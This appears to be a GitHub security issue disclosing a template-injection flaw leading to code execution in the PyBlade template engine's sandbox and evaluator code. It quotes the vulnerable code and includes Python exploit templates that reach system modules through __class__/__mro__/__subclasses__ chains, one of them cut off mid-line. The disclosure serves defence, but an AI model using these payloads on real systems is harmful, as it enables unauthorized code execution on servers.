New issue

SSTI/RCE via Bypassed AST Validation in sandbox.py (v0.1.8-alpha through v0.2.0-alpha) #1

Open

JasonZhang1996 opened 3 weeks ago

Description

This code is vulnerable to **CWE-94: Code Injection** and **CWE-1336: Template Engine Injection** due to unsafe expression evaluation in template rendering.

The vulnerability affects **v0.1.8-alpha through v0.2.0-alpha** through two different mechanisms:

1. **v0.1.8-alpha and v.0.1.9-alpha**: The `_is_safe_ast()` function in `sandbox.py` contains a logic flaw. The attribute whitelist check only validates `ast.Name` nodes (e.g., `str.method`) but bypasses `ast.Constant` nodes (e.g., `''.__class__`), allowing access to dangerous Python magic methods.
2. **v0.2.0-alpha**: The `evaluator.py` file uses `eval()` directly without any AST validation, providing no security checks at all.

This allows an attacker to achieve **Remote Code Execution (RCE)** through Python's object model by accessing `__class__`, `__mro__`, and `__subclasses__` chains.

Impacted Code

v0.1.8-alpha and v.0.1.9-alpha:
https://github.com/AntaresMugisho/PyBlade/blob/refs/tags/v0.1.8-alpha/pyblade/engine/sandbox.py#L138-L158

```
# Flawed attribute check - only validates ast.Name, not ast.Constant
if isinstance(node, ast.Attribute):
    if isinstance(node.value, ast.Name):  # ← Bypassed by constants
        obj_type = node.value.id
        # ... whitelist check
    return False  # ← Not reached for constants
```

v0.2.0-alpha:
https://github.com/AntaresMugisho/PyBlade/blob/refs/tags/v0.2.0-alpha/pyblade/engine/evaluator.py#L30

```
def safe_eval(expression: str, context: Dict[str, Any] | None = None,
              builtins: Dict[str, Any] | None = None):
    if builtins is None:
        builtins = SAFE_BUILTINS
    try:
        return eval(expression, {"__builtins__": builtins}, context)
        #     ^^^^^ No AST validation
    except Exception as e:
        raise e
```

Exploit

For v0.1.8-alpha and v.0.1.9-alpha:

```
from pyblade.engine.renderer import PyBlade

engine = PyBlade()

# The attribute check is bypassed because '' is a Constant, not a Name
template = "{{ ''.__class__.__mro__[1].__subclasses__() }}"
result = engine.render(template, {})

# Execute system commands
template = "{{ ''.__class__.__mro__[1].__subclasses__()[228].__init__.__globals__['sys'].modu
result = engine.render(template, {})
```

For v0.2.0-alpha:

```
# Direct eval() with no checks - same payload works
template = "{{ ''.__class__.__mro__[1].__subclasses__() }}"
result = engine.render(template, {})
```

Impacted

Affected versions: v0.1.8-alpha, v.0.1.9-alpha, v0.2.0-alpha

- From: https://github.com/AntaresMugisho/PyBlade/blob/refs/tags/v0.1.8-alpha/pyblade/engine/sandbox.py#L138
- To: https://github.com/AntaresMugisho/PyBlade/blob/refs/tags/v0.2.0-alpha/pyblade/engine/evaluator.py#L30

Fixed in: Commit `62c95c47` (2026-02-24) - Introduced AST-based `SafeEvaluator` class that properly validates all AST node types and blocks access to private attributes.

Suggested Fix

The vulnerability has been fixed in the latest main branch. Users should upgrade to the latest version which uses an AST-based evaluator that:

- Properly validates all AST node types including `ast.Constant` attributes
- Blocks access to private attributes (starting with `_`)
- Restricts method calls to a whitelist

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants